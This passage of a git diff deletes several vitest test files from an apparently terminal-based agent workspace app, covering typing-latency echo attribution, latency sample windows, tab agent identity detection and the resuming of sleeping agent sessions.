-      observations.push(value)
-    )
-
-    recordKeystroke(entry, performance.now(), 'direct')
-    fake.terminal.write('unrelated')
-    fake.emitParsed()
-    fake.emitRender()
-    expect(observations).toEqual([])
-
-    fake.emitData()
-    fake.terminal.write('echo')
-    fake.emitParsed()
-    fake.emitRender()
-    expect(observations).toHaveLength(1)
-  })
-
-  it('emits one ambiguous burst when overlapping inputs receive separate outputs', () => {
-    const fake = fakeTerminal()
-    const observations: EchoObservation[] = []
-    const entry = instrumentPaneEcho({ terminal: fake.terminal }, (value) =>
-      observations.push(value)
-    )
-
-    recordAndDispatch(entry, fake, 'direct')
-    recordAndDispatch(entry, fake, 'direct')
-    fake.terminal.write('A')
-    fake.emitParsed()
-    fake.emitRender()
-    fake.terminal.write('B')
-    fake.emitParsed()
-    fake.emitRender()
-
-    expect(observations).toHaveLength(1)
-    expect(observations[0]).toMatchObject({
-      attribution: 'ambiguous-burst',
-      reason: 'overlapping-inputs',
-      inputCount: 2,
-      sourceCounts: { direct: 2, ime: 0 },
-      outputBatchBytes: 1,
-      outputBatchWrites: 1
-    })
-  })
-
-  it('keeps a batch ambiguous when another input arrives before parsing finishes', () => {
-    const fake = fakeTerminal()
-    const observations: EchoObservation[] = []
-    const entry = instrumentPaneEcho({ terminal: fake.terminal }, (value) =>
-      observations.push(value)
-    )
-
-    recordAndDispatch(entry, fake)
-    fake.terminal.write('x'.repeat(90))
-    recordAndDispatch(entry, fake)
-    fake.terminal.write('x'.repeat(30))
-    fake.emitParsed()
-    fake.emitRender()
-
-    expect(observations).toHaveLength(1)
-    expect(observations[0]).toMatchObject({
-      attribution: 'ambiguous-burst',
-      inputCount: 2,
-      outputBatchBytes: 120,
-      outputBatchWrites: 2
-    })
-  })
-
-  it('aggregates thousands of writes in constant-size batch accounting', () => {
-    const fake = fakeTerminal()
-    const observations: EchoObservation[] = []
-    const entry = instrumentPaneEcho({ terminal: fake.terminal }, (value) =>
-      observations.push(value)
-    )
-
-    recordAndDispatch(entry, fake)
-    for (let index = 0; index < 1_000; index += 1) {
-      fake.terminal.write('x')
-    }
-
-    expect(entry.parsingBatch).toMatchObject({ outputBytes: 1_000, outputWrites: 1_000 })
-    expect(entry.parsingBatch?.candidates).toHaveLength(1)
-    fake.emitParsed()
-    fake.emitRender()
-    expect(observations[0]).toMatchObject({ outputBytes: 1_000, outputWrites: 1_000 })
-  })
-
-  it('keeps parsed batches separate when two parses precede one render', () => {
-    const fake = fakeTerminal()
-    const observations: EchoObservation[] = []
-    const entry = instrumentPaneEcho({ terminal: fake.terminal }, (value) =>
-      observations.push(value)
-    )
-
-    recordAndDispatch(entry, fake)
-    fake.terminal.write('a')
-    fake.emitParsed()
-    recordAndDispatch(entry, fake)
-    fake.terminal.write('b')
-    fake.emitParsed()
-    fake.emitRender()
-
-    expect(observations.map((value) => value.attribution)).toEqual(['single-input', 'single-input'])
-  })
-
-  it('marks the first late output after a timeout as ambiguous, then restores confidence', () => {
-    const fake = fakeTerminal()
-    const observations: EchoObservation[] = []
-    const entry = instrumentPaneEcho({ terminal: fake.terminal }, (value) =>
-      observations.push(value)
-    )
-    const now = vi.spyOn(performance, 'now')
-
-    recordKeystroke(entry, 0, 'direct')
-    now.mockReturnValueOnce(1)
-    fake.emitData('A')
-    expect(recordKeystroke(entry, 5_000, 'direct').unmatched).toBe(1)
-    now.mockReturnValueOnce(5_001)
-    fake.emitData('B')
-    fake.terminal.write('late A')
-    now.mockReturnValueOnce(5_010)
-    fake.emitParsed()
-    now.mockReturnValueOnce(5_015)
-    fake.emitRender()
-
-    recordKeystroke(entry, 5_020, 'ime')
-    now.mockReturnValueOnce(5_021)
-    fake.emitData('한')
-    fake.terminal.write('한')
-    now.mockReturnValueOnce(5_030)
-    fake.emitParsed()
-    now.mockReturnValueOnce(5_035)
-    fake.emitRender()
-
-    expect(observations[0]).toMatchObject({
-      attribution: 'ambiguous-burst',
-      reason: 'attribution-gap',
-      inputCount: 1
-    })
-    expect(observations[1]).toMatchObject({
-      attribution: 'single-input',
-      source: 'ime'
-    })
-  })
-
-  it('clears a gap-only output boundary without retaining an empty parsed batch', () => {
-    const fake = fakeTerminal()
-    const observations: EchoObservation[] = []
-    const entry = instrumentPaneEcho({ terminal: fake.terminal }, (value) =>
-      observations.push(value)
-    )
-    const now = vi.spyOn(performance, 'now')
-
-    recordKeystroke(entry, 0, 'direct')
-    now.mockReturnValueOnce(1)
-    fake.emitData('A')
-    expect(recordKeystroke(entry, 5_000, 'direct').unmatched).toBe(1)
-    fake.terminal.write('late A')
-    now.mockReturnValueOnce(5_001)
-    fake.emitParsed()
-
-    expect(entry.parsedBatches).toEqual([])
-    now.mockReturnValueOnce(5_002)
-    fake.emitData('B')
-    fake.terminal.write('B')
-    now.mockReturnValueOnce(5_010)
-    fake.emitParsed()
-    now.mockReturnValueOnce(5_015)
-    fake.emitRender()
-
-    expect(observations).toHaveLength(1)
-    expect(observations[0]).toMatchObject({ attribution: 'single-input', startedAt: 5_000 })
-  })
-
-  it('holds an unparsed input across a render instead of discarding it', () => {
-    const fake = fakeTerminal()
-    const observations: EchoObservation[] = []
-    const entry = instrumentPaneEcho({ terminal: fake.terminal }, (value) =>
-      observations.push(value)
-    )
-
-    recordAndDispatch(entry, fake)
-    fake.terminal.write('echo')
-    fake.emitRender()
-    expect(observations).toHaveLength(0)
-
-    fake.emitParsed()
-    fake.emitRender()
-    expect(observations).toHaveLength(1)
-  })
-
-  it('drains parsed output that never paints exactly once', () => {
-    const fake = fakeTerminal()
-    const observations: EchoObservation[] = []
-    const entry = instrumentPaneEcho({ terminal: fake.terminal }, (value) =>
-      observations.push(value)
-    )
-
-    recordAndDispatch(entry, fake, 'direct', 0)
-    fake.terminal.write('A')
-    fake.emitParsed()
-
-    expect(drainTimedOutEchoCandidates(entry, 2_001)).toBe(1)
-    expect(drainTimedOutEchoCandidates(entry, 2_002)).toBe(0)
-    expect(entry).toMatchObject({ parsedBatches: [], pendingCount: 0 })
-
-    recordAndDispatch(entry, fake, 'direct', 2_003)
-    fake.terminal.write('B')
-    fake.emitParsed()
-    fake.emitRender()
-
-    expect(observations).toHaveLength(1)
-    expect(observations[0]).toMatchObject({ attribution: 'single-input', startedAt: 2_003 })
-    expect(entry.pendingCount).toBe(0)
-  })
-
-  it('keeps a shared unparsed batch ambiguous after draining its stale input', () => {
-    const fake = fakeTerminal()
-    const observations: EchoObservation[] = []
-    const entry = instrumentPaneEcho({ terminal: fake.terminal }, (value) =>
-      observations.push(value)
-    )
-
-    recordAndDispatch(entry, fake, 'direct', 0)
-    fake.terminal.write('late A')
-    expect(drainTimedOutEchoCandidates(entry, 2_001)).toBe(1)
-
-    recordAndDispatch(entry, fake, 'direct', 2_002)
-    fake.terminal.write('B')
-    fake.emitParsed()
-    fake.emitRender()
-
-    expect(observations).toHaveLength(1)
-    expect(observations[0]).toMatchObject({
-      attribution: 'ambiguous-burst',
-      reason: 'attribution-gap',
-      inputCount: 1
-    })
-    expect(entry.pendingCount).toBe(0)
-  })
-
-  it('returns trailing unmatched inputs and releases pane and listener closures', () => {
-    const fake = fakeTerminal()
-    const originalWrite = fake.terminal.write
-    const observations: EchoObservation[] = []
-    const entry = instrumentPaneEcho({ terminal: fake.terminal }, (value) =>
-      observations.push(value)
-    )
-    recordAndDispatch(entry, fake)
-    fake.terminal.write('parsed but not painted')
-    fake.emitParsed()
-    recordKeystroke(entry, performance.now(), 'direct')
-
-    expect(detachPaneEcho(entry)).toBe(2)
-    expect(fake.terminal.write).toBe(originalWrite)
-    expect(fake.disposeCount()).toBe(3)
-    expect(entry).toMatchObject({ pane: null, pendingCount: 0, restoreWrite: null })
-
-    fake.emitRender()
-    fake.emitData()
-    expect(observations).toEqual([])
-  })
-})
diff --git a/src/renderer/src/lib/typing-latency/sample-window.test.ts b/src/renderer/src/lib/typing-latency/sample-window.test.ts
deleted file mode 100644
index a70131145c4..00000000000
--- a/src/renderer/src/lib/typing-latency/sample-window.test.ts
+++ /dev/null
@@ -1,90 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { appendExactLatencySample, createExactLatencySampleWindow } from './sample-window'
-import type { ExactEchoSample } from './echo-observation'
-import { summarizeLatencySamples } from './diagnostic-summary'
-
-function exactSample(value: number): ExactEchoSample {
-  return {
-    attribution: 'single-input',
-    source: 'direct',
-    inputToDispatchMs: value,
-    dispatchToParseMs: value + 10000,
-    parseToPaintMs: value + 20000,
-    inputToPaintMs: 3 * value + 30000,
-    eventToHandlerMs: null,
-    eventToPaintMs: null,
-    dispatchToArrivalMs: null,
-    arrivalToWriteMs: null,
-    writeToParseMs: null,
-    startedAt: value,
-    paintedAt: 3 * value + 30000,
-    outputBytes: value + 40000,
-    outputWrites: value + 5000
-  }
-}
-
-describe('typing latency sample window', () => {
-  it('expires optional phases with their inputs across mixed direct and IME captures', () => {
-    const samples = createExactLatencySampleWindow()
-    const optionalFields = [
-      'eventToHandlerMs',
-      'eventToPaintMs',
-      'dispatchToArrivalMs',
-      'arrivalToWriteMs',
-      'writeToParseMs'
-    ] as const
-    appendExactLatencySample(samples, {
-      ...exactSample(0),
-      eventToHandlerMs: 999,
-      eventToPaintMs: 999,
-      dispatchToArrivalMs: 999,
-      arrivalToWriteMs: 999,
-      writeToParseMs: 999
-    })
-    for (let value = 1; value < 2000; value += 1) {
-      appendExactLatencySample(samples, { ...exactSample(value), source: 'ime' })
-    }
-    for (const field of optionalFields) {
-      expect(summarizeLatencySamples(samples[field])).toEqual({
-        count: 1,
-        p50: 999,
-        p95: 999,
-        max: 999
-      })
-    }
-
-    appendExactLatencySample(samples, {
-      ...exactSample(2000),
-      eventToHandlerMs: 0,
-      dispatchToArrivalMs: 3,
-      writeToParseMs: 5
-    })
-    for (const [field, value] of [
-      ['eventToHandlerMs', 0],
-      ['eventToPaintMs', null],
-      ['dispatchToArrivalMs', 3],
-      ['arrivalToWriteMs', null],
-      ['writeToParseMs', 5]
-    ] as const) {
-      expect(samples[field]).toHaveLength(2000)
-      expect(summarizeLatencySamples(samples[field])).toEqual({
-        count: value === null ? 0 : 1,
-        p50: value,
-        p95: value,
-        max: value
-      })
-    }
-
-    for (let value = 2001; value <= 4000; value += 1) {
-      appendExactLatencySample(samples, { ...exactSample(value), source: 'ime' })
-    }
-    for (const field of optionalFields) {
-      expect(summarizeLatencySamples(samples[field])).toEqual({
-        count: 0,
-        p50: null,
-        p95: null,
-        max: null
-      })
-    }
-  })
-})
diff --git a/src/renderer/src/lib/use-tab-agent-opencode-native-title.test.ts b/src/renderer/src/lib/use-tab-agent-opencode-native-title.test.ts
deleted file mode 100644
index 0439af65ad3..00000000000
--- a/src/renderer/src/lib/use-tab-agent-opencode-native-title.test.ts
+++ /dev/null
@@ -1,138 +0,0 @@
-// @vitest-environment happy-dom
-
-import { act, createElement } from 'react'
-import { createRoot, type Root } from 'react-dom/client'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store'
-import type { SleepingAgentSessionRecord } from '../../../shared/agent-session/lifecycle/agent-session-resume'
-import { makePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
-import type {
-  TerminalLayoutSnapshot,
-  TerminalTab
-} from '../../../shared/workspace-layout/terminal-tab-types'
-import type { TerminalAgent } from '../../../shared/agent-status/identity/terminal-agent'
-import '../../../shared/workspace-session/workspace-session-schema'
-import '../../../shared/tab-agent-from-signals'
-import { useTabAgent } from './use-tab-agent'
-
-globalThis.IS_REACT_ACT_ENVIRONMENT = true
-
-const initialAppState = useAppStore.getInitialState()
-const FOCUSED_LEAF_ID = '11111111-1111-4111-8111-111111111111'
-const SIBLING_LEAF_ID = '22222222-2222-4222-8222-222222222222'
-let latestAgent: TerminalAgent | null | undefined
-let root: Root | null = null
-
-function HookProbe({ tab }: { tab: TerminalTab }): null {
-  latestAgent = useTabAgent(tab)
-  return null
-}
-
-function splitLayout(): TerminalLayoutSnapshot {
-  return {
-    root: null,
-    activeLeafId: FOCUSED_LEAF_ID,
-    expandedLeafId: null,
-    ptyIdsByLeafId: {
-      [FOCUSED_LEAF_ID]: 'pty-opencode',
-      [SIBLING_LEAF_ID]: 'pty-sibling'
-    }
-  }
-}
-
-function sleepingClaudeRecord(paneKey: string): SleepingAgentSessionRecord {
-  return {
-    paneKey,
-    tabId: 'opencode-tab',
-    worktreeId: 'worktree-1',
-    agent: 'claude',
-    providerSession: { key: 'session_id', id: 'claude-session' },
-    prompt: '',
-    state: 'working',
-    capturedAt: 1,
-    updatedAt: 1,
-    origin: 'live'
-  }
-}
-
-describe('OpenCode native title tab identity', () => {
-  const originalApi = window.api
-  const getForegroundProcess = vi.fn()
-  const clearTabLaunchAgent = vi.fn()
-  const staleClaudeTab: TerminalTab = {
-    id: 'opencode-tab',
-    ptyId: 'pty-opencode',
-    worktreeId: 'worktree-1',
-    title: 'OC | Greeting',
-    customTitle: null,
-    color: null,
-    sortOrder: 0,
-    createdAt: 1,
-    launchAgent: 'claude'
-  }
-
-  beforeEach(() => {
-    latestAgent = undefined
-    getForegroundProcess.mockReset()
-    clearTabLaunchAgent.mockReset()
-    useAppStore.setState(initialAppState, true)
-    useAppStore.setState({
-      activeTabId: 'other-tab',
-      ptyIdsByTabId: { 'opencode-tab': ['pty-opencode'] },
-      agentStatusByPaneKey: {},
-      terminalLayoutsByTabId: {},
-      clearTabLaunchAgent
-    })
-    window.api = {
-      ...originalApi,
-      pty: {
-        ...originalApi?.pty,
-        getForegroundProcess
-      }
-    } as typeof window.api
-  })
-
-  afterEach(() => {
-    if (root) {
-      act(() => root?.unmount())
-      root = null
-    }
-    document.body.replaceChildren()
-    useAppStore.setState(initialAppState, true)
-    window.api = originalApi
-  })
-
-  it('updates a mounted inactive/restored split without provider probes', async () => {
-    const container = document.createElement('div')
-    document.body.appendChild(container)
-    root = createRoot(container)
-
-    await act(async () => {
-      root?.render(createElement(HookProbe, { tab: staleClaudeTab }))
-      await Promise.resolve()
-    })
-
-    expect(latestAgent).toBe('opencode')
-    expect(clearTabLaunchAgent).not.toHaveBeenCalled()
-    expect(getForegroundProcess).not.toHaveBeenCalled()
-    const paneKey = makePaneKey('opencode-tab', FOCUSED_LEAF_ID)
-
-    await act(async () => {
-      useAppStore.setState({
-        ptyIdsByTabId: { 'opencode-tab': ['pty-opencode', 'pty-sibling'] },
-        terminalLayoutsByTabId: { 'opencode-tab': splitLayout() },
-        sleepingAgentSessionsByPaneKey: { [paneKey]: sleepingClaudeRecord(paneKey) }
-      })
-      root?.render(
-        createElement(HookProbe, {
-          tab: { ...staleClaudeTab, title: 'tmux | OC | Previous task' }
-        })
-      )
-      await Promise.resolve()
-    })
-
-    expect(latestAgent).toBe('claude')
-    expect(clearTabLaunchAgent).not.toHaveBeenCalled()
-    expect(getForegroundProcess).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/lib/use-tab-agent.test.ts b/src/renderer/src/lib/use-tab-agent.test.ts
deleted file mode 100644
index 2d809865687..00000000000
--- a/src/renderer/src/lib/use-tab-agent.test.ts
+++ /dev/null
@@ -1,247 +0,0 @@
-// @vitest-environment happy-dom
-
-import { act, createElement } from 'react'
-import { createRoot, type Root } from 'react-dom/client'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store'
-import type { AgentStatusEntry } from '../../../shared/agent-status/contracts/agent-status-types'
-import { makePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
-import type {
-  TerminalLayoutSnapshot,
-  TerminalTab
-} from '../../../shared/workspace-layout/terminal-tab-types'
-import type { TerminalAgent } from '../../../shared/agent-status/identity/terminal-agent'
-import '../../../shared/tab-agent-from-signals'
-import { useTabAgent } from './use-tab-agent'
-
-const initialAppState = useAppStore.getInitialState()
-const LEAF_ID = '11111111-1111-4111-8111-111111111111'
-const SECOND_LEAF_ID = '22222222-2222-4222-8222-222222222222'
-let latestHookAgent: TerminalAgent | null | undefined
-const hookRoots: Root[] = []
-
-function HookProbe({ tab }: { tab: TerminalTab }): null {
-  latestHookAgent = useTabAgent(tab)
-  return null
-}
-
-async function renderHookProbe(tab: TerminalTab): Promise<Root> {
-  const container = document.createElement('div')
-  document.body.appendChild(container)
-  const root = createRoot(container)
-  hookRoots.push(root)
-  await act(async () => {
-    root.render(createElement(HookProbe, { tab }))
-  })
-  await flushHookEffects()
-  return root
-}
-
-async function rerenderHookProbe(root: Root, tab: TerminalTab): Promise<void> {
-  await act(async () => {
-    root.render(createElement(HookProbe, { tab }))
-  })
-  await flushHookEffects()
-}
-
-async function flushHookEffects(): Promise<void> {
-  await act(async () => {
-    await Promise.resolve()
-    await Promise.resolve()
-  })
-}
-
-function agentStatus(paneKey: string, state: AgentStatusEntry['state']): AgentStatusEntry {
-  return {
-    state,
-    prompt: '',
-    updatedAt: 1,
-    stateStartedAt: 1,
-    agentType: 'codex',
-    paneKey,
-    stateHistory: []
-  }
-}
-
-function workingAgentStatus(paneKey: string): AgentStatusEntry {
-  return agentStatus(paneKey, 'working')
-}
-
-function twoPaneLayout(): TerminalLayoutSnapshot {
-  return {
-    root: null,
-    activeLeafId: LEAF_ID,
-    expandedLeafId: null,
-    ptyIdsByLeafId: {
-      [LEAF_ID]: 'pty-focus',
-      [SECOND_LEAF_ID]: 'pty-sibling'
-    }
-  }
-}
-
-describe('useTabAgent', () => {
-  const originalApi = window.api
-  const getForegroundProcess = vi.fn()
-  const clearTabLaunchAgent = vi.fn()
-  const baseTab: TerminalTab = {
-    id: 'tab-1',
-    ptyId: 'pty-1',
-    worktreeId: 'wt-1',
-    title: 'Terminal 1',
-    customTitle: null,
-    color: null,
-    sortOrder: 0,
-    createdAt: 1,
-    launchAgent: 'codex'
-  }
-
-  beforeEach(() => {
-    latestHookAgent = undefined
-    getForegroundProcess.mockReset()
-    clearTabLaunchAgent.mockReset()
-    useAppStore.setState(initialAppState, true)
-    useAppStore.setState({
-      ptyIdsByTabId: { 'tab-1': ['pty-1'] },
-      agentStatusByPaneKey: {},
-      terminalLayoutsByTabId: {},
-      clearTabLaunchAgent
-    })
-    window.api = {
-      ...originalApi,
-      pty: {
-        ...originalApi?.pty,
-        getForegroundProcess
-      }
-    } as typeof window.api
-  })
-
-  afterEach(() => {
-    hookRoots.splice(0).forEach((root) => {
-      act(() => root.unmount())
-    })
-    document.body.replaceChildren()
-    useAppStore.setState(initialAppState, true)
-    window.api = originalApi
-  })
-
-  it('clears launch identity when a previously observed hook row drops at a shell title', async () => {
-    const paneKey = makePaneKey('tab-1', LEAF_ID)
-    useAppStore.setState({
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: { type: 'leaf', leafId: LEAF_ID },
-          activeLeafId: LEAF_ID,
-          expandedLeafId: null,
-          ptyIdsByLeafId: { [LEAF_ID]: 'pty-1' }
-        }
-      },
-      agentStatusByPaneKey: {
-        [paneKey]: workingAgentStatus(paneKey)
-      }
-    })
-
-    const root = await renderHookProbe(baseTab)
-
-    expect(latestHookAgent).toBe('codex')
-    expect(clearTabLaunchAgent).not.toHaveBeenCalled()
-
-    // Why: crash/kill exits drop the live row without a completed hook.
-    await act(async () => {
-      useAppStore.setState({ agentStatusByPaneKey: {} })
-    })
-    await rerenderHookProbe(root, { ...baseTab, title: 'zsh' })
-
-    expect(clearTabLaunchAgent).toHaveBeenCalledWith('tab-1')
-  })
-
-  it('does not clear remote launch identity when the hook row drops at a shell title', async () => {
-    const remotePtyId = 'remote:web-env-1@@terminal-1'
-    const paneKey = makePaneKey('tab-1', LEAF_ID)
-    useAppStore.setState({
-      ptyIdsByTabId: { 'tab-1': [remotePtyId] },
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: { type: 'leaf', leafId: LEAF_ID },
-          activeLeafId: LEAF_ID,
-          expandedLeafId: null,
-          ptyIdsByLeafId: { [LEAF_ID]: remotePtyId }
-        }
-      },
-      agentStatusByPaneKey: {
-        [paneKey]: workingAgentStatus(paneKey)
-      }
-    })
-    const remoteTab = { ...baseTab, ptyId: remotePtyId, launchAgent: 'claude' as const }
-
-    const root = await renderHookProbe(remoteTab)
-
-    // Remote transport gaps do not prove exit; require completion evidence to clear identity.
-    await act(async () => {
-      useAppStore.setState({ agentStatusByPaneKey: {} })
-    })
-    await rerenderHookProbe(root, { ...remoteTab, title: 'zsh' })
-
-    expect(clearTabLaunchAgent).not.toHaveBeenCalled()
-    expect(latestHookAgent).toBe('claude')
-  })
-
-  it('does not clear launch identity while a sibling hook row is still live', async () => {
-    const focusedPaneKey = makePaneKey('tab-1', LEAF_ID)
-    const siblingPaneKey = makePaneKey('tab-1', SECOND_LEAF_ID)
-    useAppStore.setState({
-      ptyIdsByTabId: { 'tab-1': ['pty-focus', 'pty-sibling'] },
-      terminalLayoutsByTabId: { 'tab-1': twoPaneLayout() },
-      agentStatusByPaneKey: {
-        [focusedPaneKey]: workingAgentStatus(focusedPaneKey),
-        [siblingPaneKey]: workingAgentStatus(siblingPaneKey)
-      }
-    })
-    const splitTab = { ...baseTab, ptyId: 'pty-focus', launchAgent: 'claude' as const }
-
-    const root = await renderHookProbe(splitTab)
-
-    await act(async () => {
-      useAppStore.setState({
-        agentStatusByPaneKey: { [siblingPaneKey]: workingAgentStatus(siblingPaneKey) }
-      })
-    })
-    await rerenderHookProbe(root, { ...splitTab, title: 'zsh' })
-    expect(clearTabLaunchAgent).not.toHaveBeenCalled()
-
-    await act(async () => {
-      useAppStore.setState({ agentStatusByPaneKey: {} })
-    })
-    await rerenderHookProbe(root, { ...splitTab, title: 'zsh' })
-    expect(clearTabLaunchAgent).toHaveBeenCalledWith('tab-1')
-  })
-
-  it('does not clear launch identity on the commit that switches pane generations', async () => {
-    const paneKey = makePaneKey('tab-1', LEAF_ID)
-    const boundLayout = {
-      root: { type: 'leaf', leafId: LEAF_ID } as const,
-      activeLeafId: LEAF_ID,
-      expandedLeafId: null,
-      ptyIdsByLeafId: { [LEAF_ID]: 'pty-1' }
-    }
-    useAppStore.setState({
-      terminalLayoutsByTabId: { 'tab-1': boundLayout },
-      agentStatusByPaneKey: { [paneKey]: workingAgentStatus(paneKey) }
-    })
-
-    const root = await renderHookProbe(baseTab)
-    expect(latestHookAgent).toBe('codex')
-
-    // Respawn can replace PTY, drop hook and show shell in one commit; old-generation observations must not clear new launch intent.
-    await act(async () => {
-      useAppStore.setState({
-        terminalLayoutsByTabId: {
-          'tab-1': { ...boundLayout, ptyIdsByLeafId: { [LEAF_ID]: 'pty-2' } }
-        },
-        agentStatusByPaneKey: {}
-      })
-    })
-    await rerenderHookProbe(root, { ...baseTab, title: 'zsh' })
-
-    expect(clearTabLaunchAgent).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/lib/wake-sleeping-agents-live-unmounted-pane.test.ts b/src/renderer/src/lib/wake-sleeping-agents-live-unmounted-pane.test.ts
deleted file mode 100644
index 85fa9c6fcc6..00000000000
--- a/src/renderer/src/lib/wake-sleeping-agents-live-unmounted-pane.test.ts
+++ /dev/null
@@ -1,202 +0,0 @@
-// @vitest-environment happy-dom
-
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { SleepingAgentSessionRecord } from '../../../shared/agent-session/lifecycle/agent-session-resume'
-import type { PtyListedSession } from '../../../shared/terminal/pty/lifecycle/pty-listed-session'
-import { makePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
-import { useAppStore } from '@/store'
-import type { AppState } from '@/store/types'
-import { wakeSleepingAgentsForWorktreeInBackground } from './agent-session/resume/wake-sleeping-agents-in-background'
-import { waitForWorktreeAgentActivationGateForTests } from './workspace/activation/worktree-agent-activation-gate'
-
-// Main's answer to the window's layout commands, as a switch-on build sends them.
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-)
-
-const initialAppStoreState = useAppStore.getState()
-const WT = 'repo-1::/repo'
-const LEAF_ID = '11111111-1111-4111-8111-111111111111'
-const PANE_KEY = makePaneKey('tab-live', LEAF_ID)
-const LIVE_PTY_ID = `${WT}@@66acae23`
-const SESSION = {
-  key: 'session_id',
-  id: '720b368a-0168-4083-9f8c-862cd559ac51'
-} as const
-
-let listedSessions: PtyListedSession[] = []
-let listSessions: ReturnType<typeof vi.fn>
-
-function liveRecord(): SleepingAgentSessionRecord {
-  return {
-    paneKey: PANE_KEY,
-    tabId: 'tab-live',
-    worktreeId: WT,
-    agent: 'claude',
-    providerSession: SESSION,
-    prompt: '',
-    state: 'working',
-    origin: 'live',
-    capturedAt: Date.now(),
-    updatedAt: Date.now()
-  }
-}
-
-// After renderer restart, daemon PTYs can survive behind persisted layouts while another workspace is active and no pane reattached.
-function unmountedLivePaneState(): Partial<AppState> {
-  return {
-    workspaceSessionReady: true,
-    terminalStartupRestorationReady: true,
-    activeWorktreeId: 'repo-1::/other',
-    repos: [
-      {
-        id: 'repo-1',
-        path: '/repo',
-        displayName: 'repo',
-        badgeColor: '#000',
-        addedAt: 1
-      }
-    ],
-    tabsByWorktree: {
-      [WT]: [
-        {
-          id: 'tab-live',
-          ptyId: null,
-          worktreeId: WT,
-          title: 'Terminal 1',
-          customTitle: null,
-          color: null,
-          sortOrder: 0,
-          createdAt: 1
-        }
-      ]
-    },
-    ptyIdsByTabId: {},
-    terminalLayoutsByTabId: {
-      'tab-live': {
-        root: { type: 'leaf', leafId: LEAF_ID },
-        activeLeafId: LEAF_ID,
-        expandedLeafId: null,
-        ptyIdsByLeafId: { [LEAF_ID]: LIVE_PTY_ID }
-      }
-    },
-    sleepingAgentSessionsByPaneKey: { [PANE_KEY]: liveRecord() }
-  }
-}
-
-async function wakeAndSettle(): Promise<string | null> {
-  wakeSleepingAgentsForWorktreeInBackground(WT)
-  return waitForWorktreeAgentActivationGateForTests(WT)
-}
-
-function queuedResumes(): unknown[] {
-  return Object.values(useAppStore.getState().pendingStartupByTabId).map(
-    (startup) => startup.resumeProviderSession
-  )
-}
-
-beforeEach(() => {
-  listedSessions = []
-  listSessions = vi.fn(async () => listedSessions)
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the wake path reads only these preload methods.
-  ;(window as unknown as { api: unknown }).api = {
-    pty: { listSessions },
-    runtimeEnvironments: {},
-    runtime: {
-      call: vi.fn(async ({ method }: { method: string }) =>
-        method === 'session.tabs.list'
-          ? { ok: true, result: { worktree: WT, tabs: [] } }
-          : { ok: false }
-      )
-    }
-  }
-})
-
-afterEach(() => {
-  useAppStore.setState(initialAppStoreState, true)
-})
-
-describe('background wake of a pane whose PTY the host still holds', () => {
-  it('does not resume a second writer onto the live conversation', async () => {
-    useAppStore.setState(unmountedLivePaneState())
-    listedSessions = [
-      {
-        id: LIVE_PTY_ID,
-        cwd: '/repo',
-        title: 'claude',
-        agentOwnership: 'present'
-      }
-    ]
-
-    await wakeAndSettle()
-
-    expect(listSessions).toHaveBeenCalledWith({ connectionId: null })
-    expect(queuedResumes()).toEqual([])
-    expect(Object.keys(useAppStore.getState().automaticAgentResumeClaimsByTabId)).toEqual([])
-  })
-
-  it('declines the resume and keeps the record when the host inventory cannot be read', async () => {
-    useAppStore.setState(unmountedLivePaneState())
-    listSessions.mockRejectedValue(new Error('daemon unreachable'))
-
-    expect(await wakeAndSettle()).toBe('blocked')
-
-    expect(queuedResumes()).toEqual([])
-    expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[PANE_KEY]).toBeDefined()
-  })
-
-  it('still resumes once the host inventory shows the PTY exited', async () => {
-    useAppStore.setState(unmountedLivePaneState())
-
-    expect(await wakeAndSettle()).toBe('resumed')
-
-    expect(queuedResumes()).toEqual([SESSION])
-  })
-
-  // #21235: the host re-keyed the live PTY onto a new tab, so the record's pane has no layout.
-  it('does not resume an agent whose PTY the host moved to another tab', async () => {
-    const state = unmountedLivePaneState()
-    useAppStore.setState({
-      ...state,
-      tabsByWorktree: {
-        [WT]: [{ ...state.tabsByWorktree![WT]![0]!, id: 'tab-rekeyed', ptyId: LIVE_PTY_ID }]
-      },
-      ptyIdsByTabId: { 'tab-rekeyed': [LIVE_PTY_ID] },
-      terminalLayoutsByTabId: {}
-    })
-    // A fresh `claude` launch registers no owner claim; only its spawn pane key ties it to the record.
-    listedSessions = [
-      {
-        id: LIVE_PTY_ID,
-        cwd: '/repo',
-        title: 'claude',
-        agentOwnership: 'absent',
-        paneKey: PANE_KEY
-      }
-    ]
-
-    await wakeAndSettle()
-
-    expect(queuedResumes()).toEqual([])
-    expect(useAppStore.getState().sleepingAgentSessionsByPaneKey[PANE_KEY]).toBeDefined()
-  })
-
-  it('still resumes a dead agent next to a shell spawned for another pane', async () => {
-    useAppStore.setState({ ...unmountedLivePaneState(), terminalLayoutsByTabId: {} })
-    listedSessions = [
-      {
-        id: `${WT}@@sibling-shell`,
-        cwd: '/repo',
-        title: 'zsh',
-        agentOwnership: 'absent',
-        paneKey: makePaneKey('tab-live', '22222222-2222-4222-8222-222222222222')
-      }
-    ]
-
-    expect(await wakeAndSettle()).toBe('resumed')
-
-    expect(queuedResumes()).toEqual([SESSION])
-  })
-})
diff --git a/src/renderer/src/lib/work-items/github/github-work-item-source-lookup.test.ts b/src/renderer/src/lib/work-items/github/github-work-item-source-lookup.test.ts
deleted file mode 100644
index af61e0ed324..00000000000
--- a/src/renderer/src/lib/work-items/github/github-work-item-source-lookup.test.ts
+++ /dev/null
@@ -1,259 +0,0 @@
-import type * as RuntimeRpcCallModule from '@/runtime/rpc/calls/runtime-rpc-call'
-import type * as RuntimeCapabilityProofModule from '@/runtime/rpc/compatibility/runtime-capability-proof'
-
